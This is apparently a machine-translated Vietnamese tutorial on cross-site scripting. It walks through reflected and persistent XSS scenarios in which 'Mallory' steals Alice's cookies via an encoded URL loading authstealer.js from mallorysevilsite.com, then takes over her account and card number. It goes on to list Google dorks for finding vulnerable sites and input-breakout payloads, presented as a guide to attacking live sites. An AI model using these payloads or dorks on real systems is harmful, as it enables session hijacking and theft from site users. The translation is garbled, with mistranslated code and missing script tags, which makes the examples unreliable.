    2.1 Khi bạn truy cập vào trang tìm kiếm, nhập chuỗi tìm kiếm và bấm vào nút gửi, nếu không tìm thấy kết quả nào, trang sẽ hiển thị chuỗi tìm kiếm đã nhập theo sau là từ “không tìm thấy” và url có dạng http://bobssite .org?q= truy vấn tìm kiếm của cô ấy

    2.2 Với truy vấn tìm kiếm thông thường như từ "chó", trang chỉ hiển thị "không tìm thấy chó" và url http://bobssite.org?q=dogs, đây là hành vi khá bình thường.

    2.3 Tuy nhiên, khi một truy vấn tìm kiếm bất thường như notification("xss"); :

    2.3.1 Một thông báo cảnh báo xuất hiện (có nội dung "xss").

    2.3.2 Trang hiển thị cảnh báo("xss"); không tìm thấy cùng với thông báo lỗi có nội dung "xss".

    2.3.3 url phù hợp để khai thác http://bobssite.org?q=alert("xss");

    3. Mallory xây dựng một URL để khai thác lỗ hổng:

    3.1 Cô ấy tạo URL http://bobssite.org?q=puppies. Cô ấy có thể chọn chuyển đổi các ký tự ASCII sang định dạng thập lục phân, chẳng hạn như http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E theo thứ tự để ngăn mọi người giải mã ngay một URL độc hại.

    3.2 Cô ấy gửi email cho một số thành viên không nghi ngờ trên trang web của Bob với nội dung: "Hãy xem những chú chó tuyệt vời".

    4. Alice nhận được một lá thư. Cô ấy yêu chó và nhấp vào liên kết. Cô ấy truy cập trang web của Bob để tìm kiếm, cô ấy không tìm thấy bất cứ điều gì, "không tìm thấy con chó" được hiển thị ở đó và ở giữa, một thẻ có tập lệnh được khởi chạy (nó ẩn trên màn hình), tải xuống và thực thi Malory's chương trình authstealer.js (kích hoạt một cuộc tấn công XSS). Alice quên mất chuyện đó.

    5. Chương trình authstealer.js chạy trong trình duyệt của Alice như thể nó có nguồn gốc từ trang web của Bob. Cô lấy một bản sao cookie ủy quyền của Alice và gửi chúng đến máy chủ của Malory, nơi Malory lấy chúng.

    7. Bây giờ Malorie đã vào trong, cô ấy đi tới phần thanh toán của trang web, tìm và đánh cắp bản sao số thẻ tín dụng của Alice. Sau đó cô ấy đi và thay đổi mật khẩu, tức là. Bây giờ Alice thậm chí không thể vào được nữa.

    8. Cô ấy quyết định thực hiện bước tiếp theo và gửi liên kết được xây dựng theo cách này cho chính Bob và do đó nhận được các đặc quyền quản trị cho trang web của Bob.

    Tấn công XSS liên tục

  • Mallory có tài khoản trên trang web của Bob.
  • Mallory nhận thấy rằng trang web của Bob có lỗ hổng XSS dai dẳng. Nếu bạn đi đến một phần mới và đăng bình luận, nó sẽ hiển thị bất cứ điều gì được nhập vào đó. Nhưng nếu văn bản nhận xét chứa các thẻ HTML thì các thẻ đó sẽ được hiển thị nguyên trạng và mọi thẻ script sẽ được thực thi.
  • Mallory đọc một bài viết trong phần Tin tức và viết bình luận trong phần Bình luận. Trong bình luận cô chèn dòng chữ:
  • Tôi thực sự thích những con chó trong câu chuyện này. Họ rất tốt bụng!
  • Khi Alice (hoặc bất kỳ ai khác) tải một trang có nhận xét này, thẻ tập lệnh của Malory sẽ chạy và đánh cắp cookie ủy quyền của Alice, gửi nó đến máy chủ bí mật của Malory để thu thập.
  • Bây giờ Mallory có thể chiếm quyền điều khiển phiên của Alice và mạo danh Alice.
  • Tìm các trang web dễ bị tấn công XSS

    Những điều ngớ ngẩn đối với XSS

    Bước đầu tiên là chọn các trang web mà chúng tôi sẽ thực hiện các cuộc tấn công XSS. Các trang web có thể được tìm kiếm bằng cách sử dụng Google dorks. Dưới đây là một số điều ngớ ngẩn mà bạn có thể sao chép và dán vào tìm kiếm trên Google:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Một danh sách các trang web sẽ mở ra trước mắt chúng ta. Bạn cần mở trang web và tìm các trường nhập liệu trên đó, chẳng hạn như biểu mẫu phản hồi, biểu mẫu nhập liệu, tìm kiếm trang web, v.v.

    Hãy để tôi lưu ý ngay rằng việc tìm kiếm các lỗ hổng trong các ứng dụng web được cập nhật tự động phổ biến gần như vô ích. Một ví dụ kinh điển về ứng dụng như vậy là WordPress. Trên thực tế, có những lỗ hổng trong WordPress và đặc biệt là trong các plugin của nó. Hơn nữa, có nhiều trang web không cập nhật công cụ WordPress (do quản trị viên web đã thực hiện một số thay đổi đối với mã nguồn) hoặc các plugin và chủ đề của họ (theo quy định, đây là các plugin và chủ đề vi phạm bản quyền). Nhưng nếu bạn đọc phần này và học được điều gì đó mới từ nó thì WordPress vẫn chưa dành cho bạn... Chúng tôi chắc chắn sẽ quay lại phần này sau.

    Các mục tiêu tốt nhất là nhiều công cụ và tập lệnh tự viết.

    Bạn có thể chọn tải trọng chèn như

    cảnh báo(1)

    Hãy chú ý xem mã nhúng của bạn rơi vào thẻ mã HTML nào. Dưới đây là ví dụ về trường đầu vào điển hình:

    cảnh báo(1)

    Trọng tải của chúng ta sẽ kết thúc ở vị trí hiện tại của từ "vỏ gối". Những thứ kia. biến thành giá trị của thẻ đầu vào. Chúng ta có thể tránh điều này - chúng ta đóng dấu ngoặc kép và sau đó đóng thẻ bằng "/>

    "/>cảnh báo(1)

    Hãy thử nó cho một số trang web:

    Tuyệt vời, có một lỗ hổng

    Các chương trình tìm kiếm và quét lỗ hổng XSS

    Có lẽ tất cả các trình quét ứng dụng web đều có trình quét lỗ hổng XSS tích hợp. Chủ đề này không toàn diện; tốt hơn là bạn nên làm quen với từng máy quét tương tự một cách riêng biệt.